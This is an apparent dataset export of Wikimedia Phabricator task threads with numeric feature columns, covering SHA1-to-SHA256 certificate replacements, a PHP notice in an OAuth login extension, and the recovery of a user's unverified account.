+",,,1433276081,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-54xunqwdualighpcmj57,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,1
+467670,replace icinga's sha1 cert with sha256,"Change 214674 merged by Dzahn:
+icinga.wikimedia.org cert sha1 to sha256
+
+[[https://gerrit.wikimedia.org/r/214674]]",,,1433267227,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-54xunqwdualighpcmj57,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+465927,replace icinga's sha1 cert with sha256,"Change 214674 had a related patch set uploaded (by RobH):
+icinga.wikimedia.org cert sha1 to sha256
+
+[[https://gerrit.wikimedia.org/r/214674]]
+",,,1432926815,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-54xunqwdualighpcmj57,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+100827,replace git's sha1 cert with sha256,"Tracking task to replace git's sha1 cert with sha256, in multiple steps:
+
+[x] - reissue certificate in sha256
+[x] - update configuration of ganglia to use new certificate
+[x] - push changes live
+[x] - revoke old sha1 certificate",Medium,50.0,1432926084,1433353532.0,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-TASK-2fanjsens5x2eth4tynn,task_description,resolved,True,c3,1,True,True,True,-5,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+468427,replace git's sha1 cert with sha256,"I revoked and deleted the git.wikimedia.org key and certificate, and Daniel's patchset stops the system from installing the now delete (and also unused) cert/key from systems.",,,1433353532,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-2fanjsens5x2eth4tynn,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+468402,replace git's sha1 cert with sha256,"Change 214673 abandoned by RobH:
+git.wikimedia.org.crt sha1 to sha256
+
+Reason:
+git.w.o lives behind misc-web, this cert doesn't need to exist.
+
+[[https://gerrit.wikimedia.org/r/214673]]",,,1433351978,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2fanjsens5x2eth4tynn,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+466807,replace git's sha1 cert with sha256,"Indeed, it is behind misc-web.  I think we can indeed revoke this cert/keypair entirely.  I'll keep it assigned to me and do so later today.  Once done, I'll remove from our repo(s).",,,1433174888,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-2fanjsens5x2eth4tynn,task_subcomment,,True,c3,1,True,,,-5,True,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+466648,replace git's sha1 cert with sha256,git.wikimedia.org is behind misc-web. Is this cert still needed?,,,1433160152,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-2fanjsens5x2eth4tynn,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0
+465924,replace git's sha1 cert with sha256,"Change 214673 had a related patch set uploaded (by RobH):
+git.wikimedia.org.crt sha1 to sha256
+
+[[https://gerrit.wikimedia.org/r/214673]]
+",,,1432926362,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2fanjsens5x2eth4tynn,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+100825,replace ganglia's sha1 cert with sha256,"Tracking task to replace ganglia's sha1 cert with sha256, in multiple steps:
+
+[x] - reissue certificate in sha256
+[x] - update configuration of ganglia to use new certificate
+[x] - push changes live
+[ ] - revoke old sha1 certificate",Medium,50.0,1432925308,1433439731.0,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-uc7c22jie37424dzsvcj,task_description,resolved,True,c3,1,True,False,True,-5,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+469166,replace ganglia's sha1 cert with sha256,"before:
+
+{F174573}
+
+{F174575}
+
+after:
+
+{F174577}
+
+{F174579}",,,1433439567,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uc7c22jie37424dzsvcj,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+469138,replace ganglia's sha1 cert with sha256,"Change 215508 merged by Dzahn:
+ganglia: use SSLCertificateChainFile
+
+[[https://gerrit.wikimedia.org/r/215508]]",,,1433437691,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uc7c22jie37424dzsvcj,task_subcomment,,True,c3,1,False,,,-4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+469132,replace ganglia's sha1 cert with sha256,"Change 214670 merged by Dzahn:
+ganglia's sha1 cert to sha256
+
+[[https://gerrit.wikimedia.org/r/214670]]",,,1433437428,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uc7c22jie37424dzsvcj,task_subcomment,,True,c3,1,False,,,-4,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+467834,replace ganglia's sha1 cert with sha256,"Change 215508 had a related patch set uploaded (by Dzahn):
+ganglia: use SSLCertificateChainFile
+
+[[https://gerrit.wikimedia.org/r/215508]]
+",,,1433277907,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uc7c22jie37424dzsvcj,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+465915,replace ganglia's sha1 cert with sha256,"Change 214670 had a related patch set uploaded (by RobH):
+ganglia's sha1 cert to sha256
+
+[[https://gerrit.wikimedia.org/r/214670]]
+",,,1432925373,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uc7c22jie37424dzsvcj,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+100020,Undefined variable: status in specials/SpecialOAuthLogin.php on line 53,"Almost every login:
+```
+PHP Notice:  Undefined variable: status in /data/project/commonsarchive/public_html/w/extensions/OAuthAuthentication/specials/SpecialOAuthLogin.php on line 53
+PHP Stack trace:
+PHP   1. {main}() /data/project/commonsarchive/public_html/w/index.php:0
+PHP   2. MediaWiki->run() /data/project/commonsarchive/public_html/w/index.php:46
+PHP   3. MediaWiki->main() /data/project/commonsarchive/public_html/w/includes/MediaWiki.php:435
+PHP   4. MediaWiki->performRequest() /data/project/commonsarchive/public_html/w/includes/MediaWiki.php:584
+PHP   5. SpecialPageFactory::executePath() /data/project/commonsarchive/public_html/w/includes/MediaWiki.php:275
+PHP   6. SpecialPage->run() /data/project/commonsarchive/public_html/w/includes/specialpage/SpecialPageFactory.php:584
+PHP   7. MediaWiki\Extensions\OAuthAuthentication\SpecialOAuthLogin->execute() /data/project/commonsarchive/public_html/w/includes/specialpage/SpecialPage.php:363
+PHP Fatal error:  Call to a member function isGood() on a non-object in /data/project/commonsarchive/public_html/w/extensions/OAuthAuthentication/specials/SpecialOAuthLogin.php on line 53
+PHP Stack trace:
+PHP   1. {main}() /data/project/commonsarchive/public_html/w/index.php:0
+PHP   2. MediaWiki->run() /data/project/commonsarchive/public_html/w/index.php:46
+PHP   3. MediaWiki->main() /data/project/commonsarchive/public_html/w/includes/MediaWiki.php:435
+PHP   4. MediaWiki->performRequest() /data/project/commonsarchive/public_html/w/includes/MediaWiki.php:584
+PHP   5. SpecialPageFactory::executePath() /data/project/commonsarchive/public_html/w/includes/MediaWiki.php:275
+PHP   6. SpecialPage->run() /data/project/commonsarchive/public_html/w/includes/specialpage/SpecialPageFactory.php:584
+PHP   7. MediaWiki\Extensions\OAuthAuthentication\SpecialOAuthLogin->execute() /data/project/commonsarchive/public_html/w/includes/specialpage/SpecialPage.php:363
+```
+Not a big issue, but it floods log files.",Medium,50.0,1432304324,1432764669.0,PHID-USER-6dmbpidylyt4dzsxzjg4,False,PHID-USER-doeppszazlm3r7xah4il,False,PHID-TASK-4ok7hmihyelt2skxvmru,task_description,resolved,True,c3,1,True,False,True,-6,True,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1
+464598,Undefined variable: status in specials/SpecialOAuthLogin.php on line 53,"Change 214090 abandoned by CSteipp:
+Remove $status causing warning
+
+Reason:
+Duplicate of https://gerrit.wikimedia.org/r/#/c/212785/
+
+[[https://gerrit.wikimedia.org/r/214090]]",,,1432754341,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ok7hmihyelt2skxvmru,task_subcomment,,True,c3,1,False,,,-6,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+464597,Undefined variable: status in specials/SpecialOAuthLogin.php on line 53,"Change 212785 merged by jenkins-bot:
+SpecialOAuthLogin.php/init: Removing !$status->isGood() error handling
+
+[[https://gerrit.wikimedia.org/r/212785]]",,,1432754330,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ok7hmihyelt2skxvmru,task_subcomment,,True,c3,1,False,,,-6,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+464596,Undefined variable: status in specials/SpecialOAuthLogin.php on line 53,"Change 214090 had a related patch set uploaded (by CSteipp):
+Remove $status causing warning
+
+[[https://gerrit.wikimedia.org/r/214090]]
+",,,1432754266,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ok7hmihyelt2skxvmru,task_subcomment,,True,c3,1,False,,,-6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+462253,Undefined variable: status in specials/SpecialOAuthLogin.php on line 53,"Change 212785 had a related patch set uploaded (by Gerrit Patch Uploader):
+SpecialOAuthLogin.php/init: Removing !$status->isGood() error handling
+
+[[https://gerrit.wikimedia.org/r/212785]]
+",,,1432305296,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ok7hmihyelt2skxvmru,task_subcomment,,True,c3,1,False,,,-6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+99455,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),"Username is @Meno25
+
+See https://en.wikipedia.org/w/index.php?title=User_talk:Josve05a&oldid=663230168#Phabricator",Medium,50.0,1431883822,1435144709.0,PHID-USER-4j7xntcqqwei7izzlfnd,False,PHID-USER-fn7qnpccfbitivgtw2rt,False,PHID-TASK-tpgl74m777dx6dczzppy,task_description,resolved,True,c3,1,True,False,True,-7,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1
+480615,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),"I can login now normally. Thank you, all, for your hard work.",,,1435141650,,PHID-USER-mcmogeeuowpqahpn6n4r,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,2,False,,,-2,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+480099,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),This should be fixed but I'm waiting for confirmation.,,,1435076519,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+479953,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),I did. I'm sorry I forgot to do this over the weekend (I was on vacation until today. I'll get it fixed right away),,,1435069652,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+479848,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),@mmodell: Did you receive Meno25's email address?,,,1435061031,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0
+477927,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),"Alright, [[ https://en.wikipedia.org/wiki/User_talk:AKlapper_%28WMF%29#Phabricator | I've asked Meno25 ]] to provide the email address they used for registration in Phab.",,,1434713313,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+477550,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),"Ok I can't verify without knowing the email address, it doesn't let me input the account name only.",,,1434657213,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0
+477463,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),It's part of the phabricator/bin/auth tool. ,,,1434650861,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+477459,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),"@mmodell: Uh, I wasn't aware at all about forcing verification. Darrn, thanks a lot for telling me! :)
+Yeah, renaming from @Menodisabled to @Meno25 and forcing verification makes a lot more sense.",,,1434650795,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,2,True,,,-2,True,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,1,1,1,0,0,1,1,0,0,1,1,1,1,0,0
+477451,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),@aklapper: there is a command in phabricator/bin to force verify and account. I think deleting or force verifying are better choices than rename+disable. At least in this case. Should I try renaming it back and forcing the verification?,,,1434650507,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,1,1,1,0
+477371,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),"Seeing some folks who could hopefully delete the user @Menodisabled in Phab via shell access (as [[ https://gerrit.wikimedia.org/r/#/c/219151/ | I myself cannot do that yet ]])...
+
+(I tried renaming the account in Phab but does not help as the MediaWiki SUL account is of course [[ https://en.wikipedia.org/wiki/User_talk:AKlapper_%28WMF%29#Phabricator | still connected to the renamed account in Phab ]])",,,1434645001,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,2,True,,,-2,True,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,1,1,0,1,1,0,0,1
+477046,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),Asked Meno25 to try again in https://en.wikipedia.org/wiki/User_talk:AKlapper_%28WMF%29#Phabricator now that T102276 has been worked around by Mukunda,,,1434618445,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+473418,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),"Instead of deleting I went for renaming the existing user account from @Meno25 to @Menodisabled (and disabled that account).
+
+I **hope** that now @Meno25 can create a new Phab account as @Meno25 again, with a valid email address to verify. But as @Menodisabled is still tied to the MediaWiki User account Meno25 I am not entirely sure. If it does not work, I'm willing to completely delete the account.
+
+------
+
+For the records, Phabricator's printed info for renaming accounts is pretty similar to that for deleting:
+""Be careful when renaming users! The old username will no longer be tied to the user, so anything which uses it (like old commit messages) will no longer associate correctly. (And, if you give a user a username which some other user used to have, username lookups will begin returning the wrong user.) It is generally safe to rename newly created users (and test users and so on), but less safe to rename established users and unsafe to reissue a username. Users who rely on password authentication will need to reset their password after their username is changed (their username is part of the salt in the password hash). The user will receive an email notifying them that you changed their username, with instructions for logging in and resetting their password if necessary.""",,,1434063412,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,1,True,,,-3,True,1,1,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,1,1,1,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0
+461305,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),"@Aklapper @Krenair: He can't. can't. It gives him the response ""Must Verify Email"".",,,1432113015,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0
+461103,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),">>! In T99455#1297728, @Krenair wrote:
+> someone must have database access.
+
+OK, you can do via an SQL command. What I should have written instead: The web interface does not allow Phabricator admins to change a user's email address (while e.g. Bugzilla allowed it).",,,1432072182,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,1,True,,,-7,True,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,0,0,0,1
+461101,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),">>! In T99455#1297684, @Aklapper wrote:
+> Furthermore, noone else can change a user's email address.
+
+I doubt that - someone must have database access.",,,1432072020,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,1,True,,,-7,True,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,0,0,0,1
+461095,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),"Hmm, we normally don't just delete user accounts...
+Furthermore, noone else can change a user's email address.
